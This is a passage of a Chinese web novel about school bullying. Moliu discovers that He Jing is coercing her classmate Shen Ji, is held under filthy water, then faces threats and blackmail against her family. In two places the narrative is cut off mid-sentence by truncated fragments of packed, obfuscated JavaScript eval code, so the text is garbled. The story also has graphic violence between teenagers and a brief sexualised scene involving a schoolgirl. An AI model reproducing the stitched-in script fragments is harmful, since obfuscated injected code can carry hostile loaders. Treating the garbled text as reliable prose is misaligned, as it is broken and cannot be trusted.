茉双季回来第三趟时看到了空了大半的车厢,乐的合不拢嘴:“这小子厉害啊。” 茉莉不语,睁着圆圆的眼睛看他搬货。 有了沈悸的缘故,这一批货很快就卸完了,货主很满意,还追加了一百作为报酬。 茉双季没有一人独占,而是带着茉莉沈悸下了馆子,三人点了两荤两素,吃的干干净净。 从菜馆里走出来时,天已经黑完了。 茉莉先进了车厢,车厢里没有灯,黑黝黝的。 她坐在小板凳上扎头发,扎完了,沈悸这才爬上车。 沈悸看了她一眼,欲言又止,。 “有事吗?” “……”沈悸转开眼,“可不可以把车篷拉开。” 茉莉听了,伸手把系紧的带子全都解开。 篷布一收,车厢变成了车板,头顶成了自然大天窗,一眼望不尽的星星一闪一闪,微小而璀璨。 沈悸看着天,一动不动。 茉莉也转而看天。 寂静被人打破:“你为什么要这样。” 像问句,又像是肯定。 他坐在车板上,暗调充斥周围,星星点点根本照不亮被黑夜埋没的他。 “——你讨厌我。”他说话时,语调刻意。刻意到一听就知道在藏些什么,“那天放作业的,是你吧。” 他的不堪暴露的所剩无几。 全被黑色掩盖,茉莉看不见他的表情。 “对。我讨厌你,所以想看你不得不在从前看不起、瞧不上的人下工作的样子。” 没有犹豫,直白地说了出来。 早料到了回答,是他要听的,最后受不了的也是他。 话刺激着本就不堪一击的心脏,阵阵发酸。 在期待什么呢。 在她眼里,自己只是个自私自利的坏人。自嘲着,他放弃似的靠在车上,盯着脚边的黑。 算了。 “——确实,这就是我的真实想法。”那句话没到结尾,茉莉又续上了语句,“但我不想变成你那样的人,自己过不好也要把别人拉下水,所以,今天只是普普通通的招工,往后,我们也不会有别的交集。” 她抱着腿,小小一只缩在凳子上。 她指着自己的心口:“我有心,但我不会同情一个没有心的人。” 分明只是个娇娇,说出的话却格外的锐利。 似乎在她的眼中,他只是个落魄还欺软怕硬的丧家犬。 没有好的点,全身上下都是坏。 他的好什么都没被抹去,坏被记得清清楚楚。 甚至,还成了小恩小惠的收买。 “所以,你也根本不会喜欢我对吧。”莫名的,他说出了那么一段话。 “你别告诉我,你喜欢我。” 沈悸突然感到无力。 谁让他那么坏。 “没有,我不会喜欢你的。” 都怪他。 13. 尊严 后来的周末,沈悸都会早早在村口等着车子上工。 他很勤快,一人能担下两个人的工作量,这让茉双季能多接一俩个活。 他在村口上工,也在村口喊停,从来不让茉双季往深处送。 下车时,茉双季把茉莉喊了过来:“茉莉,你跟他关系很好吗?” 茉莉捡了个适中的词儿:“还好。” 茉双季叹了口气:“这孩子还真是苦命人,摊上了那么个妈。” 抓到敏感词,茉莉顺而问了下去:“爸爸,你知道他家的事情吗?” “不是很了解,就是村里闲时谈的那些,最近赶工的时候听到工友说的。她妈妈不是个正经人,连孩子的生父都不清楚是谁,还酗酒嗜赌,欠了一屁股债,常年不回家,把债全都压在那孩子身上。还听人说,那孩子经常遭到虐待,身上总是挂伤……这样的境遇还能成绩优秀,简直难以想象他遭受了多少。” 句末,茉双季摇摇头:“能帮就帮点吧,这孩子实在太难了。” 茉莉没有多说,低头跟着爸爸回了家。 她想起沈悸挨打的画面,想起他满身的伤,复杂的情绪在心头萦绕。 她不能同情。 那样的人,谁知道会在哪天又反咬她一口。 天气渐渐转凉,霜降时,洑水县的气温终于降到了需要穿厚外套的时候。 茉莉搓搓手推开结满霜的窗户,外面是多云的天,楼下是等待多时的于辉。 听到窗户打开的声动,于辉转身招了招手,双手拢起:“茉莉,快点下来,我妈让我给你带了梅干菜锅盔!马上凉了!” “就来!”听到梅干菜锅盔,茉莉喜出望外,立马拉好外套背包下了楼。 于辉妈妈的锅盔在这可谓十里飘香,每天都要排上很久的队。 茉莉从小吃到大,从前茉双季不忙时还能赶上买几个带回家,后来茉双季开通了往城里送货的业务,就很少能给她带。 跟于辉刚认识时,于辉天天都在吐槽那锅盔吃的想吐,经常遭到茉莉的反驳,直到后来偶然一次去于辉家玩,隔老远就闻见那熟悉的锅盔香,这才直到他妈妈就是那十里香锅盔店的店主。 自此之后,她就有了后门,实现了锅盔自由。 茉莉蹦跳着跑到于辉的身边,接过那温热的锅盔咬在嘴里。 咸甜的滋味溢满口腔,让本发凉的身子暖和了些。 “慢点吃慢点吃。”于辉嫌弃地看了她一眼,“对了,今天要收冬季校服的钱,你带了没?” “带了带了,我哪有那么笨。” “你中考时差点没带2b铅笔,忘了?” “……你在嘲讽我吧。” 两人又打又闹地走出了村,到学校门口时,又凑巧碰见了宋长乐。 宋长乐左右看了两眼,说:“我的呢?” “啊?”于辉挠挠头,“我不知道还能碰到你。” “切——对了茉莉,你带校服钱了吧?” 茉莉撇嘴:“带了。” 她也没有那么冒失吧。 那天早自习时,冬季校服的表格发了下来。 代替沈悸成为班长的何婧走到台上,清了清喉咙:“各位抓紧把尺码填了交给各组组长,组长得在大课间时交给我,明天得查仪容的。” 茉莉迅速填了尺码,把钱一并交给了前排的宋长乐。 其他组的组长忙的焦头烂额,第四组的组长数了半天,朝后喊了声:“还有谁没交啊,仪容丢分了老班又得拖堂唠叨了。” 茉莉朝后瞧了瞧。 因为作弊事件,沈悸的成绩被全部画零,座位也从第一排移到了本是茉莉所在的位置。 分明是霜降,他却穿着单薄地坐在半开的窗边,也没吭声让前边的同学关窗。 茉莉看了一眼就转回了头。 跟她无关。 第一节课还剩最后几分钟时,前排的宋长乐面色难看地转了头,两手捂着肚子:“茉莉,江湖救急,等会帮我送下表格,直接送到老师那,就别经过何婧了,怕她动手脚。” 茉莉看了一眼就知道发生了什么,点点头:“赶紧去吧,交给我就行。” 宋长乐感激地看了一眼,从包里拿纸巾打了报告。 课程结束,茉莉从桌洞拿出整理好的表格和钱,打了声报告后便朝着隔壁的教学楼走去。 小村的师资资源紧张,班主任同时还在任教高三的学生,所以办公室处在高三的教学楼里。 大课间的走廊很堵,全都是列队要下楼的人。她怕把表格挤丢,就只能卡在教学楼外等着。 高三的人走的差不多了,她这才踩上阶梯往上走。 为了保证休息时间的安静,老师的办公室都在最顶的四楼。 班级一直在一楼,这四层爬的茉莉呼哧呼哧的。 缓了一阵,她迈步走向办公室。 只是——经过办公室边上的音乐教室时,她听到里面有人在交谈。 她以为别班的人在音乐室摸鱼,正准备无视,就又听到了一个熟悉的名字:“喂,沈悸,别无视我啊。” 沈悸? 她顿住步子,里面传来女声:“你不是爱面子的吗,明天晨会可是要查仪表的,上次的教训忘了?” 门缝里,透出沈悸的半张脸。 脸上的刮伤还是留下了痕迹,森冷的眸子不动声色地看着何婧,手在袖下紧紧攥成拳。 何婧坐在桌板上翘着二郎腿,上扬的眼睛眯了眯:“来猜猜,明天你是会站在讲台上被骂,还是再挂一次公告板呢?” “你要怎样?” “怎样?先前叫你换茉莉的答题卡,你反来换我的?幸好留了个心眼,不然还真被你害惨了。”何婧讥讽地启唇,挂满吊坠的手机叮叮当当地响,吵得让人烦躁。 门外的茉莉呆住了。 大脑成了一片空白。 她不可置信地反复咀嚼字眼,确定自己听到的是真。 原来,当时要被换答题卡的人,是她。 “你们真是一样的蠢,班旗那件事想到就好笑,稍微弄点小手段支开你,她那蠢货还真就以为是你干的。”何婧撑着身子往前,长发从肩头滑落,“被当众扇巴掌的滋味如何?” 活该。她想。 谁让他那么坏,谁让他非要欺负人。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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为什么,他会那么惨。 脚像生了根,无论怎样都无法挪动,事实逼着她直视眼前,逼着她把捂上的耳朵和眼睛打开。 她不该来送这摞表格的。 “……你要怎样才不会去找她。” 像碎了一样,无力的声音轻的似乎一阵风就能吹灭。 难以辨认,也不知道他指的她是谁。 何婧高高在上地把脚踩在他的腿上,来回踩踏。 “——跪下吧。”她甩出一张一百元的钞票丢在地上,“这就算资助了,明天可别再穿那么薄了,会有人心疼的。” 话很清楚。 一百块,买他的自尊。 而他的尊严早早就被践踏完,一切成了他的自作自受。 剩下的,也仅仅只价值那张轻飘飘的钞票。 他看着脚边的钞票,突然感觉浑身上下所有的伤疤都在发痛发痒。 好的、没好的,全在刺激神经。 他好像错了,不该要那没有的尊严。 沈悸闭了闭眼,一只腿慢慢后撤。 哗啦—— 门外传来了纸片飘落的声音。 室内的两人齐齐看向了门口。 何婧的脸上挂了些慌张,冷哼了一声从桌上跳了下来。 没有人,只有一张表格掉落在地上,被风吹的折了页。 表格写着:高一三班,茉莉。 14. 脏水 茉莉抱着表格疯狂地奔跑在教学楼里。 她的心情久久不能平复,靠在楼梯间的墙上大口大口喘息。一瞬间的放松让她浑身脱力,竟直接顺着墙坐在了地上。 欢快的预备铃响起,她才回过神来。 擦了擦冷汗,她一步一步回到班级。 偏是走到班门口时,她碰见了现在最不想看见的人,沈悸。 他从另一个方向走来,俊秀的脸上波澜不惊,似乎什么都没发生一样。 只有茉莉的心绪起伏不定,连看向他的勇气都没有。 她仓皇地回到座位,宋长乐问:“表格怎么没送?” 茉莉遮掩着紧张:“啊……我半路也觉得肚子疼,也去卫生间了。” “估计是食堂的豆角没烧熟吧,我现在还觉得不舒服。”宋长乐揉了揉肚子,伸手,“把表格给我吧,等下我自己去送。” 她又点了数,抬头说:“少了一张。” 茉莉啊了一声:“对不起啊,少了谁的?” 纸页翻动的声音再度响起,任课老师也踏进了班里,茉莉伸手到桌洞里拿书,摸着摸着,她摸到了一张薄薄的纸片。 五感自动屏蔽了周围的一切,连视线彩色都变得灰黑。 黑黝黝的桌洞里,那表格惨白的渗人。 腿间有什么湿热的感觉。 水杯开着杯口倒在书包里,热水浸湿了书本。 有什么直直贯穿了她的躯体。 刺骨的寒意顺着脊骨爬升,冰冻了她的四肢百骸。 “——少了你的。” 伴随着宋长乐的声音,有人回了头,红红的唇对上了口型。 因为老师喊了上课,宋长乐没注意到她不安苍白的脸色,丢了个空白表格就应着起立站起身。 茉莉差点站不起来,只能扶着桌子起身。 没事的。 她已经有了朋友,就算没有沈悸也能好好的。 双手冷的骇人,茉莉极力揉搓着想要取暖,却毫无作用。 没事的。她垂眸。 第二天,全校人都换上了崭新保暖的冬季校服。 只有沈悸,仍穿着那件单薄的外套。 他站在整齐划一的队伍里无比扎眼,因为仪表不统一,校长点名批评,流动红旗又与班级无缘。 沈悸被罚站在讲台边,无视别人投来的鄙夷,周围的一切好像都跟他毫无关系。 第二节美术课,沈悸被班主任喊到了办公室。 学校为了朝城里的学校看齐,于是放开了副课,他们的副课基本上不会被占。 这堂课美术老师要求用水粉颜料画花草树木。 茉莉看向窗外,压抑的阴云和张牙舞爪的树枝映在眼底,湿冷的风从半开的窗和门中钻入,她无论如何也联想不到鲜艳的花。 手在口袋里攥着钱包。 里面还有自己省下来的零花钱,足够再买一件校服外套。 沈悸不会要的。他那么心高气傲,怎么会承认自己买不下一件校服。 她想到昨天宋长乐多给她的一张表格。 找到表格,她写上了沈悸的名字,轮到尺码时又犯了难——她不知道沈悸穿什么合适。 思来想去,她还是请教了同桌的男生。 表格填完,茉莉重新把注意力放在了美术作业上。深色的颜料不知何时滴在了纸上,双手还刮擦了下,糊成了一团。 这是要交的,她只能修饰那团暗,一笔一笔画出干枯的枝丫。 课后,她提着画桶到到厕所洗笔。 女厕里人满为患,洗手池被占满,这样排队等着一定轮不到她。 她看了看沾满颜料的黑手,想到了位于走廊最左侧的一个洗涤池。 那边一般是值日生用来洗拖把的地方,可下水道堵了,积了一池子的污水没疏通,近日没人再去那边。 洗涤池果然没人,但积水成了一片黑,恶臭的水面漂浮着垃圾纸团,只是靠近都觉得恶心。 她注意了下水池几乎极限的容量,还好,洗个笔是够的,溢不出来。 发锈水龙头哗啦啦地流水,染着黑色颜料的水融入了同样黑的污水里,清脆的水声挟带着片刻宁静,寂静许久的黑色死水终于泛起了阵阵涟漪。 黑藏住了水下的藏污纳垢,却倒映出了水池边的红色笔筒。 漂浮的纸团却盖住了暗处汹涌澎湃的恶意。 甚至连水声都欲盖弥彰。 哗—— 突然间,双肩被从后方猛然向前推,毫无防备的脚下失去了平衡,眼前的黑暗迅速扩大,紧接着便是一阵湿冷寒意——她重重摔在了洗涤池里。 她惊慌失措地挣扎,却被又一次摁在了水里。 窒息感袭来,差点就要续不上那口气。 又一次—— 获得了空气,然后摁进水里。 折磨。 持续不断的折磨。 身上的桎梏消失,她跌坐在水池里,湿透的身上挂着垃圾。 冬季校服浸满水分,膨胀而累赘。 黑水连成线顺着一缕一缕的湿发落下,她睁着大大的眼睛,失掉血色的唇半张着,酸涩的喉头发不出一点声音。 何婧靠在一边举着手机,色彩鲜艳的棒棒糖在指尖摇来摇去:“好惨啊。” 其他两个女生笑的肆意:“茉莉花成狗尾巴草了。” 何婧嘴里嚼着棒棒糖,腮帮子一鼓一鼓的,她腾出手来递给对方一个拖把:“快点起来,怎么这么不小心呢,这么冷的天可别感冒了。有人会心疼的。” 脏脏的拖把伸到跟前激起了一片水,其中一个女生躲了躲,不开心道:“别溅到我身上了,好脏的。” “真是抱歉,这不是替人担心着吗。” 她们旁若无人地揶揄着,全然不顾一旁处境不堪的茉莉。尖酸刻薄的话如针刺进冰冷的躯体,扎进心脏,寒的让她发颤。 连风都要落井下石,吹得她瑟瑟发抖。 “好坚强,这次没哭呢。”那个推搡的女生啧啧道。 何婧看了一眼。 就是多看的那一眼,她头一次感到恐惧。 那双本怯懦的瞳孔此时变得清寒,眼底冰雪翻涌,甚至比这秋意更凉。 那女生被看的心里发毛,一脚踹在了茉莉的肩上:“看什么看……啊!” 谁料,少女竟一手擒住她的腿,强硬地将她拉入了脏水之中。 何婧瞪大了眼睛。 再温顺的兔子也会咬人的。 茉莉反压在那女生之上,一手揪着她的发死死摁在水里,面无表情地用力下压,任凭那女生如何反抗都无法挣脱。 “住手!你疯了吗!”另个女生反应过来,却又不想上手,抢过何婧手里的拖把就往她身上打去。 几记闷棍结结实实打在了茉莉的背上,她痛哼一声,捂着肩松了手。 被摁在水里的女生险些失了意识,浑身绵软地靠在水池边,涨红着脸不停喘息,瞳孔都无法聚焦。 此时外面打响了预备铃,很快就会有人经过。何婧收起手机骂了声:“操,赶紧扛人走,别给人看见。” 她用棒棒糖的棍子戳着茉莉的脸:“知道太多会没有好下场的,比如——关心。” “你那辛勤如牛的老爸——对了,他最近在我爸下面做事,想做些什么手脚特别容易。” “关心就是不太听话,害的家人也跟着丢了饭碗。” 说完,她用力用棍子划过茉莉的脸。 钝痛。恐惧。 泛白的伤口慢慢溢满红色。 “茉莉,我们还没完呢。” 说罢,她转身走了。 剩下的女生只能忍住恶心扛起同伴离开。 直到三人走到看不见了,茉莉才从池子里跨出来。 她脱下浸满污水的外套试图拧干,冻红的手却使不上力气,徒劳试了好几遍,还是拧不动。 她捡起散落的画笔,一根根放进笔筒。 背上、肩上发着痛,痛的让她拎不动轻飘飘的笔筒。 她看着水面上自己扭曲的脸。 擦一擦,脸还是难看的模样,脏脏的,灰灰的。 全身都湿透了,哪里都不能去,她不想让朋友担心。 更何况上课铃已经打响很久,带着臭水的味道回班会被质问的。 何婧还会找她的麻烦。 她蹲在角落,紧紧抱着自己,想要暖和一点。 短促的脚步声响起,视线里出现了一个纤长的影子。 喘息声越来越近,茉莉慢慢抬头,濡湿的睫毛乱了瞳孔的清晰。 沈悸站在不远不近处,长长的黑发微遮颤抖的眼帘。 “何婧干的?” 少女点点头,又摇摇头。 不是她出的手,她是主谋。 “她打你了?” 重复。 没打,但是划了她。 “……” “沈悸……”少女的声音细细的,像是喃喃自语,“我差点杀了人……” “我刚才反抗了,把人摁在水里。” “大脑一片空白,只剩下‘摁住她!摁住她!’的想法。” “我很冷静,冷静的愤怒,哪怕她挣扎到差点晕厥都没松手。” “我差点失手杀了她……好像就差那么点,我就彻底成为她那样的人了。” “可是,我第一反应不是懊恼,而是快意,畅快到我自己都不认识自己。” 她的头发乱七八糟,血痕干在脸上,脆弱如一只灯枯油尽的蝴蝶。 “欺负人是那样的感觉吗……我好像,快疯掉了。” “好像《带灯》的那句话啊……”她笑的比哭还难看。 或许或许,我突然想,我的命运就是佛桌边燃烧的红蜡。 火焰向上,泪流向下。 他闭上眼,顿觉无力。 能做的只有靠近,然后伸出手——想要抱抱那瘦小的少女。 少女躲闪开来,冻的没有血色的唇轻启:“脏。” 他置若罔闻,强硬地把她揽到怀里。 “一点也不脏。”他说话声音轻轻的,暖暖的,大手把她的头按在肩膀上。 “就是很脏。”她的手指抵在沈悸的胸口,“走开。” “不走。”他抱的更紧,“我带你一起。” “我怎么信你,你明明一无所有,带着我只会是拖累。” “一直坏下去就好了……为什么你不坏了……” 她连自己说的什么都搞不清楚了,只想让沈悸远离她,越远越好,这样她就不会有那种难以言喻的心痛。 额间有什么贴了上来。 “听话。” “跟我一起 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整个室内十分干净整洁,门口的鞋子整齐地排列成行,连沙发布和桌布都平滑无褶,很像她以为的沈悸。 沈悸边打开鞋柜,边说:“抬脚。” 茉莉晃晃脚,看着那大了不止一圈的男士拖鞋笑。 “嫌弃?”沈悸还蹲着,仰头看她,“没别的了,那女人不能给你穿,有脏病。” “没有。”茉莉摇头,认真地想了想,“只是觉得像小矮人误入仙境穿了巨人的鞋。” 果然是冻傻了。他想。 他把茉莉推到浴室里打开小太阳,扔了块布兜头盖在茉莉头上,又匆匆到院子里爬上梯子调太阳能。 捣鼓了一阵,茉莉听到他骂了一声:“操,坏了。” 他爬下来到客厅里晃了晃水瓶:“还有点热水,你先去浴室,我烧点。” 浴室里的少女应了一声,打开了条缝隙。 没看着,问:“在哪?” “没拿过去……”尾字没吐出来,他怔怔地看着玻璃门上映出的影子。 贴的太近了,泛粉的肌肤透在玻璃上,纤细的曲线几乎暴露无遗。 她还在催促着,一截玉白的小手穿过门缝:“给我呀。” 他狠狠地拧开头,脸烧的滚烫,身体有什么在奇异的变化,理智的束缚差点就要崩溃。 妈的,真把他当什么好人了,笨的忘了自己在男人的巢穴里。 他扯下外套快速系在腰间,一眼不敢多看地放下水瓶,然后逃一般地到外面烧水。 茉莉听到外面叮叮当当掉落的声音纳了闷,关心道:“没事吧?” “……你洗你的。” 当然有事。他抑着火,在外洗了半天的冷水脸才缓和些。 来回烧了几趟水,水雾终于从紧闭的门里释放。 茉莉擦着头,趿拉着拖鞋走出,跟从院里走进来的沈悸对上了眼。 衣服还是太大了,还压身高,穿在身上跟小人偷穿衣服似的,哪哪都不合身。 沈悸放下手里的盘子,顺手把挂在沙发上的厚外套扔给茉莉:“穿着,等我把菜端完。” 茉莉乖乖地穿上外套,坐在沙发上等着沈悸。 小炒肉的味道顺着蜿蜒的热气飘浮,连带着肚子都空了起来。 他还会做饭。这是茉莉第一次见他那么烟火气的一面。 但很快,她想到了沈悸的生母。 也许是不得不学的方面吧。 沈悸又端了一素一汤进来,把盛满饭的碗放在茉莉面前,坐下夹了一堆菜塞到她碗里。 刚吃两口,沈悸放下了筷子。 茉莉问:“怎么了?” “头发。”他看了眼茉莉的湿发,起身去那间堆满杂物的房间翻弄,找了个吹风机出来。 茉莉刚要放碗,沈悸说:“我来,你吃就行。” 她只好坐正,听见插电的吹风机作响。 少年显然是没有吹头的习惯的,手法生疏地拨弄半天,皱了眉:“这么难干。” 虽然语气不耐,可他还是顺着发一缕一缕地吹。 熟悉的洗发水香气溢满嗅觉,不受控制的,心绪又开始游移作乱。 自下而上的,少女身上全都是属于他的东西。 而她的发在指尖缠绕,成了他的掌中之物。 他控制住猖獗的视线,努力把注意力放在吹头上。 热风吹平宽松的衣领,薄薄的白色体恤透出少女泛红的肌肤,他蹙着眉,手指上下摩挲,竟摸出了好几道肿胀的伤痕。 “嘶。”茉莉疼的抽动了下,摁住了沈悸的手,“别看。” 吹风机的声音停止,沈悸反握住她的手腕,黑色的眸里全是隐忍的怒焰:“何婧做的?” “是——”她没有停顿,承认的坦然,“如果没有这些伤,我就真的回不了头了。” 分明脆弱不堪的茉莉花。 却迎着狂风暴雨摇啊摇。 “她想毁了我的生活,毁了我的家人。对于我来说,为了现在的一切,我什么都能干得出来。” 鲜血淋漓,好像一点都不在乎明天是什么结果。 她透黑的眸子看着他。 “沈悸, “一定要拦住我。” 15. 差别 卡着放学有一会的时间,茉莉和沈悸回到学校拿包。 有了一次翻墙的经验,这次算是顺畅了些,没太需要沈悸给自己垫脚。 她头一次看见无人的学校,静的有些寂寥。 教室里空空荡荡,背起书包,一张海报擦身掉落。捡起来看了一眼,是一个市里的演讲竞赛。 她随手把海报塞进口袋,和沈悸离开学校。 重又回到小泽村,沈悸特地带她绕路走,避开茉双季有可能回家的路线。 分手时,沈悸掏了掏口袋,拿出一张演出票据:“给你,到时候宋长乐或者于辉问起时,你就说你翘课去看演出了。” 那年的票据很多都是手写的,造假容易。 茉莉接过。 沈悸又说:“我这周可能没办法去帮工。” “没事,等你有空。” “嗯。我走了。”沈悸点点头,走了。 他回到属于自己的黑暗地带,周遭依旧不忌惮地放肆狂乱。 正打算掏钥匙开门,半开的家门在进入余光边缘,动作随着大脑断裂的线停止。 他拔腿冲进家里,跟那个疯女人对上视线。 画着浓妆的女人站在被翻得乱七八糟的客厅里,手里把弄着一个银色的小手机。见到来者,她妩媚一笑:“好儿子,有了手机那么大的事情怎么还瞒着妈妈呢?” “给我!”沈悸要抢,女人根本不给他机会,一个侧身避过,顺手拿过地上的湿衣服紧勒住他的喉咙。 “出息了?”江复春狠瞪着他,一边发力一边凑到他耳边低语,“前几天让你去找那男人要钱没去就算了,还打了虎哥的人,害的老娘又被追债的找上门,你该当何罪啊?” 强烈的窒息感压的他根本无法喘息,他只能猛抠着布条得一些微的空气。 “真倔啊——” 发亮的手机屏幕抵到眼前,沈悸猛地睁大眼,不可置信地看向江复春。 “这是上次你背回来的小妹妹吧~”浓艳又老气横秋的脸贴的很近,她笑语嫣然的,几乎能让人忽视掉她手中紧缚的动作,“要不是碰见那校长家的女儿,我可就碰不见着发财的好机会了。” 她笑的张狂,摸着沈悸的脑袋说:“你可真是我的好儿子,眼光真好,找了个又蠢又好骗的去帮工,我就把这照片往上一送,随便说了几句要举报的话,钱就到手了,哈哈哈哈哈哈……” 耳畔不停回荡着江复春悚然的笑声。 躯体上似乎有一道无形的裂痕,随时都会被人撕裂。 - 远远的,茉莉就看到茉双季站在门口。 父亲难得地点燃了烟,白色的烟雾袅袅而上。 茉莉喊出声:“爸爸。” 茉双季踩灭了烟,让开门:“进来吧。饭烧好了。” 他模样很沉重,连话都少了很多。 碗里的饭没少一半,茉双季终于开了口:“茉莉,我想问问你,你和那沈悸,真的只是普通同学的关系吗?” 夹菜的手顿住,茉莉对上父亲询问的眼:“……为什么会这样问?” 茉双季默了默,边说边放下筷子:“我今天拉货的时候,碰到了沈悸的母亲江复春。” “她说,有人告诉她沈悸在打黑工,说我们不正当雇佣,而且……还说你在跟沈悸不清不楚。”他把手机放在茉莉面前,“这是她给我看的证据。” 抓着筷子的手一颤,险些掉在桌上。 屏幕里赫然是最初时,沈悸逼迫她拍的那张照片。 可这张照片在她被抢走的手机里,又怎会出现在江复春的手上? 江复春又为何那么凑巧的出现在父亲拉货的地方? 就算是江复春哪天回来时翻到的,依照听到的那些了解,她绝对会反手卖掉,根本不会去逐次翻查。 一切,似乎和她记忆里的一点重合。 是何婧。 “茉莉。”茉双季扶额,努力让自己的声音听起来缓和,“我信你的,你一直都是个好孩子,就算有喜欢的人我也能理解,可留下这些照片还是对自己太不负责了。” “……爸爸。” “听我说,这些都无关紧要,爸爸怕的是那女人把这些招呼出去,你的名声就……唉……”他叹了口气,“还有沈悸帮工的事情,若是弄大,在这一片可能就没法干了。” “她开口找我要钱,我同意了。” “她那样的人怎么能给她钱!” “虽然知道她的品行一定不会只要一次,但为了息事宁人,只能这样。”茉双季说的很委婉,尽量不让茉莉觉得是自己的责任,“茉莉,没关系的。” 可话既出了口,茉莉又怎么能当作毫不在意。 理智的弦紧绷的即将断裂,几乎在极限的边缘。 何婧到底还是没打算放过她。 真的印证了自己说的那些话,开始对她的亲人、生活出手。 嘴里味如嚼蜡。 胸膛心如刀绞。 晚上,她在房间坐立难安,心里反反复复的害怕,怕何婧继续使什么手段涉及家人。 她不怕被羞辱,不怕被欺凌,可她最怕的,就是茉双季被牵扯进来。 想到深夜,她突然被一个电话吓了一个激灵。 顺着电话打回去,竟然是个空号,电话还没放下,她又听到自己房间玻璃破碎的声音。 好在家里的门板较厚,茉双季睡眠很深,没被惊醒。 她回到房间,窗户已然全部碎裂,地板上一片狼藉,全是玻璃碎片。 砸进来的石头压着一张纸条,她颤着手去拿,明明轻飘飘的纸片却沉重的差点抬不起胳膊。 刚展开,她就一个激灵丢了出去,跌坐在地上,手心还被碎片划破。 发皱的纸片上画了个涂鸦。 两个小人,一大一小,眼睛是两个x,身上涂满了红色。 - 于是时间来到周六早上,茉莉写了一封信送到了何婧家。 她打算晚上找她好好聊一下,若是没能谈妥,她可以被她折辱,无论怎样都行。 早上茉双季问起窗户时,茉莉胡诌说是野鸟撞得,茉双季有些纳闷,但还是没有多问,请邻居帮忙找了个师傅,父女俩就上了车去拉货。 这次去的地方是安城,因为工作量的缘故,小货车换成了大货车。 沈悸果然没来,收起目光,她缩在车棚里,左耳进右耳出地听着其他工友的闲聊。 或许是顾忌到她,工友们刻意避开了有关沈悸的话题,尽量不把话头往这上引。 回避实在刻意,她一下便觉察到。 小车一路驶向安城,街景从矮小的楼房变成拔地而起的高楼,路也变得宽敞,各种不清楚牌子的车行驶在路上,却少了那吵闹的鸣笛声。 那年洑水县捡了便宜,跟一个来自洑水县长大的巨富达成了合作,说是发展旅游产业,振兴小县。 因为人手不足,茉双季成了外包,需要把一批建材送回洑水县。 工友们兴奋地谈论,一会对外面的繁华感叹,一会对那个巨富猜想连篇,一直到公司下属的建材厂时才停歇。 “建安建材”的四个大金字挂在门口,里面的工人早早就把需要搬运的建 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不巧,视线里出现了一个穿着黑色衬衫的胸膛。 她低着头,往左,对方往右。 往右,对方往左。 恰好,他们莫名的同频。重复了两三遍,茉莉只能侧过身:“抱歉,你先走。” “嗯?是你?”对方看清了她的脸。 茉莉疑惑地抬头。 映入眼帘的,是一张清俊的面孔。 她下意识地开口:“沈……”不对,沈悸没来。这次她很快反应过来,“不好意思,你跟我一个朋友长得很像。” “沈悸是吗?”他笑,说出了那个名字。 茉莉惊诧:“你怎么知道?” “我以为你会更好奇我们为什么那么像呢。”他看到茉莉脖子上挂的牌子,转移了话题,“真巧,是来帮爸爸来工作的吧,我也是。” “是吗……”茉莉重新打量了他一下,这也不像来帮忙运货搬货的啊,倒像坐在办公室的公子哥。 那人笑而不语,有人的话语突然插/入:“沈少,可以进去了。” “知道了。”他回应着,遗憾地苦笑,“看来这次又不能跟你好好聊天了,我还想找你了解一下沈悸呢。” 沈少。 父亲。 沈悸。 茉莉开口喊住了他:“等一下!” 那人停住步伐。 “你叫什么?” 他毫不介意茉莉的唐突,微笑道:“沈南风。” 沈南风。 那是茉莉第一次听到他的名字。 那个和沈悸异曲同工,却完全无法比拟的名字。 巨富沈家长子,沈南风。 相似的脸,一模一样的姓氏,和那次在洑水县偶然的相遇,就算是个傻子也能看出他们的关系。 偏偏一个天骄之子,一个泥泞挣扎。 茉莉不懂。 沈悸凭什么要那么苦。 16. 面具 因为工作量剧增,父女两回到家时,已经是凌晨了。 茉莉没能赴约,不过她没有任何的心理负担,毕竟对方是何婧那样的人。 她还想跟着父亲去工地,但茉双季怕影响茉莉上学,要求她周日留在家里。 纵使她再想去找沈南风问些什么,父亲心意已决,她也只能接受。 周日,座机里多了三条语音留言,辨认了一下,前两条是昨天沈悸留的。还有一条,是何婧的声音。 第一条,沈悸说他会来帮忙。 第二条,沈悸说他不来了。 茉莉听得莫名,不确定他到底去没去帮忙。 第三条,何婧说,她会去破庙赴约的。 破庙?好像村里是有个庙,在一座小山上,早年就没人打理了。 可茉莉想了想,她似乎并没有说在哪里赴约,是跟人约好结果打错电话了吗? 虽然奇怪,但茉莉没放在心上,放下电话去写作业了。 周一上学时,沈悸缺席。 班主任没有多说缺席的原因,或许是因为请假,也或许是因为他的经常性缺席。 课间,宋长乐找她说话:“你那天怎么突然旷课了?” 茉莉说着早已准备好的措辞,递出了票据:“那天镇上有个演出想去看,正好沈悸也是,就一起翘课了。” 宋长乐皱着眉看了半天:“外国歌剧?你这么时髦的啊?”看也看不懂,她还了回去,问,“你有没有看到那个竞赛?” “哪个?”茉莉想了想,拿出那张演讲竞赛的海报,“是这个不?” 她回去后仔细看了,那是一个省里提拔优秀少年的演讲比赛,先从学校选拔,而后县里,最后省里,优胜者可以获得奖金,参加全国大赛竞选保送名额。 “对!我想报名!”宋长乐指着海报上的奖金数目,难得这么兴奋,“有奖金诶!” 茉莉无奈:“快醒醒,这可是要在省级比赛里脱颖而出才行。” 宋长乐问:“人总要有点梦想。你难道就不感兴趣吗?” 确实感兴趣。但她的关注点不在奖金,而在那个保送名额上——一个直通名牌大学的入场券。 这是个十分难得的机会。 她却想到了沈悸。 她不知道沈悸有没有注意到这个比赛,心脏砰砰跳动。 他也可以借这个机会脱离苦海啊。 如果他愿意,他一定可以靠着自己的努力走出小泽村,离开压迫的母亲,离开这个磨坏他所有性格的地方。 在另一个地方,他会很优秀的生活下去。 想着,她迅速起身,抓着海报往外跑。 “去哪啊?”宋长乐的声音被甩在身后。 “去实践一个想法!” 实践那个能让他未来顺遂无忧的想法。 然而。 “不行——” 老师利落回绝的话语在耳畔回荡:“上面不会同意一个劣迹学生去参赛,更况且,他旷课次数太多,没人能保证他准时到场。” 请求被驳回,茉莉只能攥着海报郁郁寡欢。 “等下。”付老师喊住了她,指指桌上的听写本,“给搬回去发了,今天何婧不在,你吩咐下去,让大家默写周末背的故事。” 何婧不在? 